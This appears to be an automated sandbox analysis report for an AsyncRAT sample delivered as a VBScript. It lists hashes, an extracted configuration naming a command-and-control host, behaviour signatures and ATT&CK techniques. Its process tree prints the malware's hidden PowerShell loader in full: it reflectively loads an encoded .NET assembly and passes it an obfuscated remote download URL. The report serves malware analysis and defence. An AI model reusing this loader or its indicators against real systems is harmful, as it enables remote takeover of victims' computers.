asyncrat | cb983b2b76ac5c1a5e721251458d53c16d0a60aa8f39074ebaab9ad7e6459388

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 01:18

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General

Target
cb983b2b76ac5c1a5e721251458d53c16d0a60aa8f39074ebaab9ad7e6459388.vbs
Size 15.3MB
Sample260808-bnxheaxcne
SHA256 cb983b2b76ac5c1a5e721251458d53c16d0a60aa8f39074ebaab9ad7e6459388
MD5 12263965e23b77fe5c5f4d119aec2a74
SHA1 b7bd6bc1fb9568823d21b5dfb9de53724edd75de
SHA512 a7c5075e07f4f62a5752cfc10f55023f9a473c7ffe53d7f7ed70393e866e008359c8ef6e19ff48493f922c67f5b545a5a8d83620e6926ff0f7bd4c92aa8692f4
SSDEEP 768:gOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGUOGB:Q5
TLSH
T1BEF67D5DE7ED52D539C96F088F2C293B3E8D177911BA985898DD38027CA78124CB4FB2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

new discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

asasas424224.ddnsguru.com:6060

Mutex

ceccccc

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2628	1104	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2628	powershell.exe
3316	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4572	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2628 set thread context of 2624	2628	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsBuild.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2628	powershell.exe
3316	powershell.exe
3316	powershell.exe
2628	powershell.exe
2628	powershell.exe
3316	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	3316	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 3316	4572	WScript.exe	92
PID 2628 wrote to memory of 2624	2628	powershell.exe	94
PID 2628 wrote to memory of 2624	2628	powershell.exe	94
PID 2628 wrote to memory of 2624	2628	powershell.exe	94
PID 2628 wrote to memory of 2624	2628	powershell.exe	94
PID 2628 wrote to memory of 2624	2628	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb983b2b76ac5c1a5e721251458d53c16d0a60aa8f39074ebaab9ad7e6459388.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://sveronfrfgbentr.tbbtyrncvf.pbz/i0/o/fnqnz-oqn08.sveronfrfgbentr.ncc/b/gensvp%2Svzt_171715.cat?nyg=zrqvn&gbxra=5p0qr8o4-2o28-4384-9n41-9onq39pp4pos','','P:\Hfref\Choyvp\Qbjaybnqf\','2LvN2CKfgU','ZfOhvyq','','ZfOhvyq','','','P:\Hfref\Choyvp\Qbjaybnqf\','2LvN2CKfgU','iof','1','','tiFAS8NSb8','0','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://sveronfrfgbentr.tbbtyrncvf.pbz/i0/o/fnqnz-oqn08.sveronfrfgbentr.ncc/b/gensvp%2Svzt_171715.cat?nyg=zrqvn&gbxra=5p0qr8o4-2o28-4384-9n41-9onq39pp4pos','','P:\Hfref\Choyvp\Qbjaybnqf\','2LvN2CKfgU','ZfOhvyq','','ZfOhvyq','','','P:\Hfref\Choyvp\Qbjaybnqf\','2LvN2CKfgU','iof','1','','tiFAS8NSb8','0','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 da2f8435e49639ca89623c376d345c7567ba71abc97b0cb588b646d0b4dd08d3
MD5 365b426578e3a6bf77e81e9fa6804b6b
SHA1 861768cffdf3305239ef8235649e480564b9acd4
SHA512 2931379eee8f757e841051e42e15cc4e65b1b83912ce2abf1d5ec8ee49354027c0b6cfc49276ad81674fb1a61145330c5d52cfa71ba3aeba189ca7322026a127
TLSH
T15E217873F3CC8624DC9A403650CEAC1036B6C7DB419ECE9BBB84D654B42F699DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2624-32-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/2628-18-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-29-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-5-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-9-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-1-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-11-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-12-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-14-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-13-0x000002C065BF0000-0x000002C065CA4000-memory.dmp

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memory/2628-15-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-16-0x000002C065B60000-0x000002C065B6A000-memory.dmp

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memory/2628-17-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-8-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-0-0x00007FFEE503F000-0x00007FFEE5040000-memory.dmp

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memory/2628-10-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/2628-35-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-22-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-23-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-24-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-25-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-26-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-27-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-28-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-19-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-31-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-4-0x0000028F2E3E0000-0x0000028F2E402000-memory.dmp

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memory/3316-21-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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memory/3316-20-0x00007FFEE4EB0000-0x00007FFEE5854000-memory.dmp

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